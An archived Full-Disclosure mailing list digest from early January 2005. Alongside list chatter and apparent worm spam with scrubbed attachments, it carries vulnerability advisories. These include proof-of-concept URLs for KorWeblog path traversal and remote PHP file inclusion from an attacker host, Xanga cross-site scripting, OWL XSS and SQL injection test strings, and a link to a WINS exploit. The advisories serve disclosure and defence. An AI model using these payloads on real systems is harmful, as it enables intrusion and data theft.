From peak at argo.troja.mff.cuni.cz Sat Jan 1 09:20:55 2005 From: peak at argo.troja.mff.cuni.cz (peak at argo.troja.mff.cuni.cz) Date: Sat, 1 Jan 2005 13:20:55 +0400 Subject: [Full-Disclosure] Mail Delivery (failure full-disclosure@lists.netsys.com) Message-ID: <200412251225.iBPCP38O026991@lists.netsys.com> -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/3f2a3c11/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: audio/x-wav Size: 29568 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/3f2a3c11/attachment.wav From des_ward at o2.co.uk Sat Jan 1 00:30:08 2005 From: des_ward at o2.co.uk (Des Ward) Date: Sat, 1 Jan 2005 00:30:08 GMT Subject: [Full-Disclosure] Happy new year Message-ID: <710571186-1104539408-cardhu_blackberry.rim.net-11597-@engine16.bwc.produk.on.blackberry> Have a guid new year! ;) Kind regards, Des Ward From exibar at thelair.com Sat Jan 1 03:01:52 2005 From: exibar at thelair.com (Exibar) Date: Fri, 31 Dec 2004 22:01:52 -0500 Subject: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s security policyto a -T- In-Reply-To: Message-ID: Item 25 sums it all up. His parents have no legal recourse to get their son's account. I must have missed Mary's post earlier in the week somehow, vacations will do that to ya :-) Heck, they probably already have their son's account information anyway... I'm sure that someone, somewhere, hacked his account and gave them the information. Or maybe they just guessed the PW.... Ex > -----Original Message----- > From: James Tucker [mailto:jftucker at gmail.com] > Sent: Thursday, December 30, 2004 10:02 PM > To: Mary Landesman > Cc: full-disclosure at lists.netsys.com > Subject: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s security > policyto a -T- > > > I agree wholeheartedly. > > > On Mon, 27 Dec 2004 10:05:55 -0500, Mary Landesman > wrote: > > While I feel great compassion for the deceased Marine's father, I do not > > believe that grief should override security, privacy, terms of > service, and > > good judgement. Any email Justin Ellsworth wished his father to > have could > > reasonably be expected to have been sent to his father prior to Justin's > > death - by Justin, of course. Any email destined for other > persons is not - > > nor should it ever be - the property of anyone other than Justin and the > > person to whom the email was sent. > > > > If Justin wanted his father to inherit his email account, he > would/should > > have provided his dad with the logon info. > > > > Excerpted from Yahoo's ToS agreement: > > -------------------- > > 21. NO THIRD PARTY BENEFICIARIES > > > > You agree that, except as otherwise expressly provided in this > TOS, there > > shall be no third party beneficiaries to this Agreement. > > -------------------- > > > > And under item 25 (General Information): > > > > -------------------- > > No Right of Survivorship and Non-Transferability. You agree > that your Yahoo! > > account is non-transferable and any rights to your Yahoo! I.D. > or contents > > within your account terminate upon your death. Upon receipt of > a copy of a > > death certificate, your account may be terminated and all > contents therein > > permanently deleted. > > -------------------- > > > > As a Yahoo member, I would expect these terms to be enforced. > > > > It is tragic that a father lost his son. It is understandable that the > > father wishes to gain access to every word his son ever typed. But, no > > matter how cold it may seem, just because it is understandable > doesn't make > > it right. > > > > Now, if there were reason to believe that a crime had been committed and > > that evidence lies in the email, that's a different story. In > such a case, I > > believe the email should be turned over to the authorities. But > absent legal > > need, turning over email to a grieving parent/spouse/child is a > dangerous > > and undesirable precedent. > > > > Yahoo should be applauded for protecting the privacy of its members. > > Frankly, I am shocked that many members of this particular list > seem to feel > > otherwise. As it stands, Yahoo's security policy suits me to a -T-. > > > > -- Mary > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > From webmaster at securiteinfo.com Sat Jan 1 03:07:50 2005 From: webmaster at securiteinfo.com (webmaster at securiteinfo.com) Date: Sat, 1 Jan 2005 08:37:50 +0530 Subject: [Full-Disclosure] Mail Delivery (failure full-disclosure@lists.netsys.com) Message-ID: <200501010307.j0137ovO004783@lists.netsys.com> -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/29df2bb8/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: audio/x-wav Size: 31744 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/29df2bb8/attachment.wav From blsonne at rogers.com Sat Jan 1 04:14:43 2005 From: blsonne at rogers.com (Byron L. Sonne) Date: Fri, 31 Dec 2004 23:14:43 -0500 Subject: [Full-Disclosure] Just a thought (from an autoreply to another thread) In-Reply-To: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz> References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz> Message-ID: <41D623B3.7060104@rogers.com> You know, people that set these auto-replies often give out a good amount of information (of the social engineering kind and otherwise), if someone were to apply themselves... Schwarzwaelder, Joerg wrote: > I will not be in the office at least until January 9th, 2005. > > Please send > - ssh, watchdog and hvu relocation issues to Alexander Bossert > - firewall issues to "security-support at dregis.com" From james.cupps at sappi.com Sat Jan 1 09:36:07 2005 From: james.cupps at sappi.com (james.cupps at sappi.com) Date: Sat, 1 Jan 2005 15:06:07 +0530 Subject: [Full-Disclosure] Re: Is that your document? Message-ID: <200501010936.j019a3vO009257@lists.netsys.com> Can you confirm it? ++++ Attachment: No Virus found ++++ Norton AntiVirus - www.symantec.de -------------- next part -------------- A non-text attachment was scrubbed... Name: part6.zip Type: application/octet-stream Size: 32008 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/c3ba7a23/attachment.obj From xploitable at gmail.com Sat Jan 1 10:26:25 2005 From: xploitable at gmail.com (n3td3v) Date: Sat, 1 Jan 2005 10:26:25 +0000 Subject: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s security policyto a -T- In-Reply-To: References: Message-ID: <4b6ee931050101022628c4965d@mail.gmail.com> On Fri, 31 Dec 2004 22:01:52 -0500, Exibar wrote: > Heck, they probably already have their son's account information anyway... > I'm sure that someone, somewhere, hacked his account and gave them the > information. Or maybe they just guessed the PW.... > > Ex Because we all know Yahoo! has no account security, so kids aged 15 can hack an account. Yahoo! is like hacking for beginners. Its easy to do, and therefore a great network to learn skills.. bravo Yahoo!, you have a use after all. n3td3v owns you all, even you self proclaimed and so-called experts and professionals. *makes rude hand jestures* ;-) From jkuperus at planet.nl Sat Jan 1 12:58:24 2005 From: jkuperus at planet.nl (jkuperus at planet.nl) Date: Sat, 1 Jan 2005 18:28:24 +0530 Subject: [Full-Disclosure] Re: Sample Message-ID: <200501011258.j01CwIvO010086@lists.netsys.com> I have corrected your document. -------------- next part -------------- A non-text attachment was scrubbed... Name: word_doc.zip Type: application/octet-stream Size: 32010 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/0634ab47/attachment.obj From phased at mail.ru Sat Jan 1 15:20:51 2005 From: phased at mail.ru (phased) Date: Sat, 01 Jan 2005 18:20:51 +0300 Subject: [Full-Disclosure] list noise In-Reply-To: <1104399367.7918.19.camel@gibson> Message-ID: I also care about noise, and responding to stupid mails makes it worse. Every time people send stupid mails like the rm file thing, and people reply to the list, the author was successful in filling the list with crap for a day or so. If no one replies, then they dont get attention and the people who know their advisories(anyone with common sense) are blatantly crap will not be affected by their nuisance. You always get a load of emails to the list from people who want to tell everyone they know that an advisory for example was crap, yes we know thank you, but we are not handing out gold stars today!!! No need to tell us all every time!!! phased -----Original Message----- From: Barrie Dempster To: full-disclosure at lists.netsys.com Date: Thu, 30 Dec 2004 09:36:07 +0000 Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRISand SecureIIS) > I'd have to agree with the eEye statement on this one. You sent out an > advisory without disclosing the details, which offers no real benefit to > anyone. Many people consider this responsible disclosure but that also > requires you to notify the vendor (there were no @eeye.com's in your > "to" list but there were a couple of press mailboxes). > > You didn't contact eEye, you didn't release details, you used an > anonymous address and failed to mention or credit any of the other guys > in your "testing team", This can only lead us to believe that the > advisory is fake and only intended to generate bad press for eEye. I > personally don't care about eEye's PR rating but I do care about the > level of noise on these lists and I do care about backdoor-ed commercial > products that are in common use. You may have an issue with eEye and see > this as revenge. However, I doubt you also have an issue with the many > admins who probably have spent their holiday season investigating these > claims, when there are likely more pressing matters to address, such as > a large stock of alcohol. > > Show us details, or be quiet. If you intended to embarrass eEye the plan > backfired as any competent professional on this list (there are a few - > I've heard stories about them) would see this as a shameful attempt and > would be laughing at you, not eEye. > > Seasons greetings to eEye and all Full Disclosure subscribers - even you > "Lance Gusto". > > With Regards.. > Barrie Dempster (zeedo) - Fortiter et Strenue > > http://www.bsrf.org.uk > > [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] > > > > > > ATTACHMENT: application/pgp-signature ("signature.asc") > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > From alf1num3rik at yahoo.com Sat Jan 1 15:57:56 2005 From: alf1num3rik at yahoo.com (Stephen Jimson) Date: Sat, 1 Jan 2005 07:57:56 -0800 (PST) Subject: [Full-Disclosure] Microsoft WINS Exploit (port 42) released Message-ID: <20050101155756.42211.qmail@web41710.mail.yahoo.com> happy new year for all ! Microsoft WINS Remote Code Execution Exploit (MS04-045) http://www.k-otik.com/exploits/20041231.ZUC-WINShit.c.php worked fine for me against a german windows :-) __________________________________ Do you Yahoo!? The all-new My Yahoo! - What will yours do? http://my.yahoo.com From muts at inter.net.il Sat Jan 1 13:40:35 2005 From: muts at inter.net.il (muts) Date: Sat, 1 Jan 2005 15:40:35 +0200 Subject: [Full-Disclosure] Whoppix 2.6 released - Now available for download Message-ID: <200501011340.DLA95824@legolas.inter.net.il> Whoppix is a Knoppix remaster designed to be a standalone penetration testing toolkit. Whoppix includes a full set of penetration testing tools and a huge repository of exploits (Framework 2.2, Packetstorm, Securityforest and Securityfocus exploit archives). You can download Whoppix @ http://www.whoppix.net/download.php, and view several Whoppix demos online (SWF format) @ http://www.whoppix.net/demo.html. May we all have a blessed new year. Muts -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/2c3562b5/attachment.html From mins at fsu.or.kr Sat Jan 1 14:01:12 2005 From: mins at fsu.or.kr (Choi Min-sung) Date: Sat, 1 Jan 2005 23:01:12 +0900 Subject: [Full-Disclosure] KorWeblog php injection Vulnerability Message-ID: <000f01c4f00a$5babee30$3b5f7bdc@fujitsuuxqn22x> KorWeblog php injection Vulnerability Release Date : 2004/12/31 (KST) Last Modified : 2005/01/01 (KST) Author : Mins (mins at fsu.or.kr) Product : KorWeblog http://weblog.kldp.org Vendor-Status: Vendor was contacted but I could not receive reply message. Vendor-Patches: None Impact: Attacker can execute arbitrary php code. Summary ======= KorWeblog is one of popular blog system in Korea. The "lng" parameter in "/install/index.php" isn't properly verified, before it is used to include files. And Attacker does not need "register_globals=On". So this vulnerability would allow remote user to inject php codes. Affected Products ================= korweblog 1.6.2-cvs and prior - 1st case php.ini : magic_quotes_gpc = Off - 2nd case php.ini : magic_quotes_gpc = On - 3rd case php.ini : allow_url_fopen = On Vendor Status : NOT FIXED ========================= 2004-12-23 Vulnerability found 2004-12-26 Notified vendor. 2004-12-27 Could not receive reply message. 2004-12-27 Mins made temporary patch. 2004-12-29 2nd vendor Contact. 2004-12-30 Release of unoffical patch. 2004-12-31 Offical advisory release. Details ======= If "/install/index.php" exists, attacker can execute arbitrary php code. Part of weak source (/install/index.php) ---- ini_set('magic_quotes_gpc',1); ini_set('magic_quotes_sybase',0); include("../include/misc.inc.php"); include("../include/sql.inc.php"); include("include/check.inc.php"); if(!ini_get("register_globals")) { include("include/grab_globals.inc.php"); } $url = eregi_replace("(/install/|/install)$","",F_GetBaseURL()); $path = eregi_replace("(/install/|/install)$","",dirname($_SERVER['SCRIPT_FILENAME'])); $G_VER = "1.6.2"; if (!empty($lng)) include("lang/$lng" . ".php"); Keep in mind that the setting magic_quotes_gpc will not work at runtime. When the "magic_quotes_gpc" is 'Off', attacker can add '%00' to '$lng'. However if "magic_quotes_gpc" is 'On', attacker can open only '.php' file. That's right. But attacker is able to use another file. Part of another same package source (/include/main.inc.php) ---- if (eregi("main.inc.php", $_SERVER['PHP_SELF'])) die ("You can not access this file directly..."); set_magic_quotes_runtime(0); ini_set('magic_quotes_gpc',1); ini_set('magic_quotes_sybase',0); include("$G_PATH/include/sql.inc.php"); include("$G_PATH/include/layout.inc.php"); include("$G_PATH/include/parser.inc.php"); Proof of Concepts ================= - 1st case php.ini : magic_quotes_gpc = Off http://[victim]/weblog/install/index.php?lng=../../../../../../etc/passwd%00 - 2nd case php.ini : magic_quotes_gpc = On http://[victim]/weblog/install/index.php?lng=../../phpinfo - 3rd case php.ini : allow_url_fopen = On http://[victim]/weblog/install/index.php?lng=../../include/main.inc&G_PATH=http://[hacker] Solution ======== - remove the install file - Set "allow_url_fopen" to "Off". - unoffical patch mins at hackme:~/public_html/korweblog-1.6.1/install$ cat index.diff --- index_1_6_1.php Mon Dec 27 17:31:50 2004 +++ index.php Mon Dec 27 17:40:51 2004 @@ -18,7 +18,10 @@ $G_VER = "1.6.1"; -if (!empty($lng)) include("lang/$lng" . ".php"); +if (!empty($lng)) { + if (eregi("\.\.",$lng) || eregi("/",$lng)) $lng="korean"; + include("lang/$lng" . ".php"); +} $sql_form ="

Credits ======= Mins at FSU (mins at fsu.or.kr) From blackhat_information at yahoo.com Sat Jan 1 14:43:11 2005 From: blackhat_information at yahoo.com (jonny be good) Date: Sat, 1 Jan 2005 06:43:11 -0800 (PST) Subject: [Full-Disclosure] hackers hacking hackers wtf? Message-ID: <20050101144311.14477.qmail@web90004.mail.scd.yahoo.com> They call it Project Hatem, their aim to take down as many Whitehat Security sites as they can. They do not believe in full disclosure, and do not believe the moral values of the Whitehats. All they believe in is power and destruction. Well guess what? They got hacked also :P Check it out: http://boobys.org __________________________________ Do you Yahoo!? Yahoo! Mail - Find what you need with new enhanced search. http://info.mail.yahoo.com/mail_250 From steven at lovebug.org Sat Jan 1 15:44:31 2005 From: steven at lovebug.org (Steven) Date: Sat, 1 Jan 2005 10:44:31 -0500 Subject: [Full-Disclosure] AOL's Online Password Reset feature does not fully validate user information Message-ID: <001201c4f018$c9989d40$9865fea9@island55> Vendor: America Online Inc. Date: January 1, 2005 Issue: AOL's Online Password Reset feature does not fully validate user information URL: http://www.aol.com Advisory: http://www.lovebug.org/aolpwreset_advisory.txt Service Overview: This report is in reference to the Online Password Reset that exists for the AOL client for paying user accounts and not AOL Instant Messenger. I think chances are if you're reading this, you should be familiar that AOL is still the world's largest Internet Service Provider. Issue: AOL has an Online Password Reset feature that enables users that have forgotten their password to reset it online. This features comes by way of a window that may popup if the user has supplied an invalid password two times in a row. (Note: This does not apply when signing on as Guest or at New User). The first screen that pops up is a word verification screen. The user must simply write the letters in a box that are displayed from an image. Upon doing this the user is brought to the next and most important screen in the process. This is the Member Verification screen where they must enter the First Name, Last Name, and the Daytime and Evening Phone Number along with the Last 4 Digits of their billing method account number or the answer to an account security question (if one is set). If an account security question is in place, it will only ask the user for the First Name and Last Name, and the answer to the account security question. It will not ask for the phone numbers or the last four digits of the billing method. While these may not be the most secure items to ask for to begin with, there is an issue with user input validation. To successfully reset the password for an account, the user does NOT need to supply the full first or last name. In fact, only the first letter of both is required. If the name on my account were Homer Simpson, all I would need to do is type in H and S for the first and last name. The next issue is that it does not appear to check both daytime and evening phone numbers. In my limited testing, I have found that you can simply enter one correct phone number in either field and the second phone number does not matter (in fact you can just put 555-555-5555). However, in their credit it appears that the answer to the security question must be complete and exactly as originally typed. Also, if the last four digits of the billing method comes up, the exact and entire four must be entered correctly for validation. This results in a problem with only having to supply a limited bit of information to reset a password. On an even more extreme note, this could also be used to discover information about an account. The user is given 4 tries to get the information correct to reset the password. If the user enters some fields correctly but others incorrectly, the Online Reset window will return the correct fields with the previously entered information and leave all invalid fields blank. This can be used to verify a name, phone number, and billing digits on the account. Solutions: At the login screen intentionally typed your password incorrectly two times. When the password reset window pops up, enter the word verification and then go to Member Verification screen. At this point just enter bogus information four times until it boots you off. This will disable the online reset feature for the screen name since the information was entered incorrectly. The feature will probably be turned on again at some point after a given period of time, but I believe it is a rather long period of that's the case. Also, don't use a security question with an easy answer that people might know or is flat out guessable (i.e. What is my favorite color?). Vendor Response: After my previous bug reports related to America Online, I noted that I had knowledge of more (and I still do) and would be more than willing to share this information with the vendor if they cared to hear it. I received a response from AOL not too long after that, but it seems that maintaining the communication is rather difficult for some reason. The vendor has not been notified of this problem, atleast not until reading this. My e-mail address hasn't change and works fine: | If anyone at AOL is interested in knowing bugs prior to disclosure, feel free to drop me a line. There's a few more you might like to know about :-) Credits: Myself and the year 2005. Go Hokies! Sugar Bowl Time! :D -Steven steven at lovebug.org -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/255a1d15/attachment.html From scrotora at hushmail.com Sat Jan 1 16:29:10 2005 From: scrotora at hushmail.com (Scrotora) Date: Sat, 01 Jan 2005 17:29:10 +0100 Subject: [Full-Disclosure] Re: Document Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/602934b6/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: You_are_dismissed.cpl Type: application/octet-stream Size: 22591 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/602934b6/attachment.obj From webmaster at q-cat.com Sat Jan 1 22:51:19 2005 From: webmaster at q-cat.com (Nick Price) Date: Sat, 01 Jan 2005 16:51:19 -0600 Subject: [Full-Disclosure] Xanga Cross Site Scripting Vunerability - GNAA Security Center Message-ID: <41D72967.6060402@q-cat.com> Vendor: Xanga URL: http://www.xanga.com/ Versions: Current Remote: Yes Vendor notified: 04 Nov 2004 at 16:48 Vendor response: NONE Summary: ~~~~~~~ Xanga is a fully featured blogging system, it provides great control over look & feel of a users blog by allowing HTML with only basic checks. Xanga has well over 2.5 million users and millions of page views every hour. A security vulnerability in sitemessage.aspx allows malicious users to cause a legitimate-looking page to execute external code or display malicious content. Examples Code: ~~~~~~~~~~~~~~~~~~~~~~~~ http://www.xanga.com/sitemessage.aspx?user=%3Cimg%20src=%22http://www.gnaa.us/images/gnaa.png%22%3E Impact: ~~~~~ External code can be run from security domain of Xanga.com, possibility of posting malicious content such as fake login forms or malicious scripts. Vendor: ~~~~~ Vendor was informed months ago but we have recieved no reply. Credits: ~~~~~ The GNAA Security Team: http://www.gnaa.us/ -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.298 / Virus Database: 265.6.7 - Release Date: 12/30/2004 From scrotora at hushmail.com Sat Jan 1 23:19:24 2005 From: scrotora at hushmail.com (Scrotora) Date: Sun, 02 Jan 2005 00:19:24 +0100 Subject: [Full-Disclosure] Re: Thank you! Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/e52ab7ce/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: I_search_for_you.scr Type: application/octet-stream Size: 20644 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/e52ab7ce/attachment.obj From stfunub at gmail.com Sat Jan 1 23:19:12 2005 From: stfunub at gmail.com (Andrew Smith) Date: Sat, 1 Jan 2005 23:19:12 +0000 Subject: [Full-Disclosure] Just a thought (from an autoreply to another thread) In-Reply-To: <41D623B3.7060104@rogers.com> References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz> <41D623B3.7060104@rogers.com> Message-ID: <33713abc0501011519748bc06@mail.gmail.com> Indeed, but as mentioned in another FD post (something along the lines of "don't mind me, just getting the xmas auto replies") how many do we know aren't honey pots? or being closely monitored? It could alll be an elaborate scheme.. On Fri, 31 Dec 2004 23:14:43 -0500, Byron L. Sonne wrote: > You know, people that set these auto-replies often give out a good > amount of information (of the social engineering kind and otherwise), if > someone were to apply themselves... > > Schwarzwaelder, Joerg wrote: > > I will not be in the office at least until January 9th, 2005. > > > > Please send > > - ssh, watchdog and hvu relocation issues to Alexander Bossert > > - firewall issues to "security-support at dregis.com" > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > -- zxy_rbt2 From nodialtone at comcast.net Sun Jan 2 00:39:48 2005 From: nodialtone at comcast.net (Byron Copeland) Date: 01 Jan 2005 19:39:48 -0500 Subject: [Full-Disclosure] Win32 based Message-ID: <1104626388.15531.14.camel@Stargate> War-Dialer - Complete Source Code available: http://home.comcast.net/~nodialtone/ -b -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/ab935b14/attachment.bin From gerryniger at gmail.com Sun Jan 2 01:46:04 2005 From: gerryniger at gmail.com (gnaa/rkz) Date: Sun, 2 Jan 2005 01:46:04 +0000 Subject: [Full-Disclosure] Xanga Cookie Stealing Vunerability XSS - GNAA Security Center Message-ID: Vendor: Xanga URL: http://www.xanga.com/ Versions: Current Remote: Yes vendor notified: 06 Oct 2004 at 14:08 Vendor response: NONE Summary: ~~~~~~~ Xanga is a fully featured blogging system, it provides great control over look & feel of a users blog by allowing HTML with only basic checks. Xanga has well over 2.5 million users and millions of page views every hour. A security vulnerability in the current system allows malicious users to steal session cookies =================================== Examples Code: ~~~~~~~~~~~~~~~~~~~~~~~~ Pre-reqs: * Create an Account, this does not require a valid email. 1. Click Look & Feel on the lefthand navigation bar 2. In the "Insert your own HTML" Box enter for following code. ~~~~~~~~~~~~CUT AFTER HERE~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~END CUT HERE~~~~~~~~~~~~~~~~~ ========================================= Impact: ~~~~~ This code just shows how to steal session cookies, it would seem that getting hits to a malicious users blog could be quite hard. This is not the case. When combined with existing Xanga exploits: 1. http://homepage.ntlworld.com/allencastro/autoreg.gnaa 2. http://homepage.ntlworld.com/allencastro/xanga.gnaa could potentially generate thousands of hits and even become featured on Xanga's front page (due to popularity of page). Meaning the attacker could get thousands of logins in a few hours. Vendor: ~~~~~ Vendor was informed months ago but we have recieved no reply. Credits: ~~~~~ K5 Article on Xanga: http://www.kuro5hin.org/story/2004/12/28/161214/43 The GNAA Security Team: http://www.gnaa.us/ From pauls at utdallas.edu Sat Jan 1 20:18:47 2005 From: pauls at utdallas.edu (Paul Schmehl) Date: Sat, 01 Jan 2005 14:18:47 -0600 Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRISand SecureIIS) In-Reply-To: <1104399367.7918.19.camel@gibson> References: <19F34051C5BB60429ACD1BF01338C598E9A975@av-mail01.corp.int-eeye.c om> <1104399367.7918.19.camel@gibson> Message-ID: <2147483647.1104589127@[172.16.1.36]> --On Thursday, December 30, 2004 9:36 AM +0000 Barrie Dempster wrote: > I'd have to agree with the eEye statement on this one. You sent out an > advisory without disclosing the details, which offers no real benefit to > anyone. Many people consider this responsible disclosure but that also > requires you to notify the vendor (there were no @eeye.com's in your > "to" list but there were a couple of press mailboxes). Your entire post could be classified as casting perls before swine. Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu From pingywon at hotmail.com Sat Jan 1 20:35:25 2005 From: pingywon at hotmail.com (pingywon MCSE) Date: Sat, 1 Jan 2005 15:35:25 -0500 Subject: [Full-Disclosure] Just a thought (from an autoreply to anotherthread) In-Reply-To: <41D623B3.7060104@rogers.com> Message-ID: He's just letting us all know how important he is. It takes 2 people to handle everything he can handle while there. Ill be sure to contact Alexander with my ssh problem ~pingywon -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Byron L. Sonne Sent: Friday, December 31, 2004 23:15 To: Schwarzwaelder, Joerg; full-disclosure at lists.netsys.com Subject: [Full-Disclosure] Just a thought (from an autoreply to anotherthread) You know, people that set these auto-replies often give out a good amount of information (of the social engineering kind and otherwise), if someone were to apply themselves... Schwarzwaelder, Joerg wrote: > I will not be in the office at least until January 9th, 2005. > > Please send > - ssh, watchdog and hvu relocation issues to Alexander Bossert > - firewall issues to "security-support at dregis.com" _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html -- No virus found in this incoming message. Checked by AVG Anti-Virus. Version: 7.0.299 / Virus Database: 265.6.7 - Release Date: 12/30/2004 -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.299 / Virus Database: 265.6.7 - Release Date: 12/30/2004 From nodialtone at comcast.net Sat Jan 1 21:47:25 2005 From: nodialtone at comcast.net (Byron Copeland) Date: 01 Jan 2005 16:47:25 -0500 Subject: [Full-Disclosure] Just a reminder Message-ID: <1104616044.15531.5.camel@Stargate> PowerTerm Source Code is still available. http://home.comcast.net/~nodialtone/ -b -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/a423f968/attachment.bin From jan.muenther at nruns.com Sun Jan 2 02:43:45 2005 From: jan.muenther at nruns.com (jan.muenther at nruns.com) Date: Sun, 2 Jan 2005 08:13:45 +0530 Subject: [Full-Disclosure] I love you! Message-ID: <200501020243.j022hkvO015500@lists.netsys.com> lovely, :-) -------------- next part -------------- A non-text attachment was scrubbed... Name: letter43.txt .scr Type: application/octet-stream Size: 31744 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/d0b4153d/attachment.obj From blsonne at rogers.com Sun Jan 2 03:57:02 2005 From: blsonne at rogers.com (Byron L. Sonne) Date: Sat, 01 Jan 2005 22:57:02 -0500 Subject: [Full-Disclosure] Just a thought (from an autoreply to another thread) In-Reply-To: <200501020259.j022xgcc026905@turing-police.cc.vt.edu> References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz> <41D623B3.7060104@rogers.com> <200501020259.j022xgcc026905@turing-police.cc.vt.edu> Message-ID: <41D7710E.6060908@rogers.com> Damn... you thought of a couple things that never even crossed my mind. Nicely done, I like your style :) Regards, Byron Valdis.Kletnieks at vt.edu wrote: > I'm not sure which is worse, the fact that we all now know that his system > is probably fair game for attack for another week, or that we now know that > on Jan 9th, he's probably going to be piled under mail and not being quite > as careful on what he opens. And I'd be amazed if the X-Mailer: header on > his mail didn't list out what vulnerabilities it had (correlate build level > to avisories.. ;) > > Hmm.. if he's usually the firewall issue person, it's likely that whoever is > reading security-support's mail is *less* experienced. > > Hint: if the site *has* a security-support address, firewall issues > should *always* be going there rather than to a specific user, for > multiple reasons: > > 1) that way you know *somebody* will see it even if he's away from the office > and not reading the mail > > 2) Checks and balances - it keeps him honest because if somebody notices a firewall > issue that he created, he can't just hit delete and get away with it... From joxeankoret at yahoo.es Sat Jan 1 19:52:48 2005 From: joxeankoret at yahoo.es (Joxean Koret) Date: Sat, 01 Jan 2005 19:52:48 +0000 Subject: [Full-Disclosure] Various Vulnerabilities in OWL Intranet Engine Message-ID: <1104609168.17577.1.camel@nemobox> ---------------------------------------------------------------------------- Various Vulnerabilities in OWL Intranet Engine ---------------------------------------------------------------------------- Author: Jose Antonio Coret (Joxean Koret) Date: 2004 Location: Basque Country --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ OWL 0.7 and 0.8 - Owl is a multi user document repository (knowledgebase) system written in PHP4 for publishing files/documents onto the web for a corporation, small business, group of people, or just for yourself. Web : http://owl.sourceforge.net/ --------------------------------------------------------------------------- Vulnerabilities: ~~~~~~~~~~~~~~~~ A. Cross Site Scripting Vulnerabilities A1. In the script browser various parameters, that are used to write the html code, not are verified. Test URLS : http:///intranet/browse.php?sess=&parent=115&expand=1'>&order=creatorid&sortposted=DESC http:///intranet/browse.php?sess=&parent=115&expand=1&order=creatorid'>&sortposted=DESC B. SQL Injection Vulnerabilities B1. In the browser.php script the following parameters are vulnerables to an SQL Injection attacks. Test URLS : http:///intranet/browse.php?sess=&parent=104[SQL%20INJECTION]&expand=1&order=creatorid&sortposted=DESC http:///intranet/browse.php?sess=&parent=104&expand=1&order=creatorid&sortposted=DESC[SQL%20INJECTION] The fix: ~~~~~~~~ All problems are fixed in the CVS. Disclaimer: ~~~~~~~~~~~ The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. --------------------------------------------------------------------------- Contact: ~~~~~~~~ Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<>>>>es -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/c31a5020/attachment.bin From joxeankoret at yahoo.es Sat Jan 1 19:58:44 2005 From: joxeankoret at yahoo.es (Joxean Koret) Date: Sat, 01 Jan 2005 19:58:44 +0000 Subject: [Full-Disclosure] Cross Site Scripting Vulnerabilities and Possible Code Execution in SugarCRM Message-ID: <1104609524.17665.4.camel@nemobox> ---------------------------------------------------------------------------- Cross Site Scripting Vulnerabilities and Possible Code Execution in SugarCRM ---------------------------------------------------------------------------- Author: Jose Antonio Coret (Joxean Koret) Date: 2004 Location: Basque Country --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SugarCRM 1.X - Manage leads, opportunities, contacts and more inside of a state-of-the-art user interface. Built on PHP and MySQL Web : 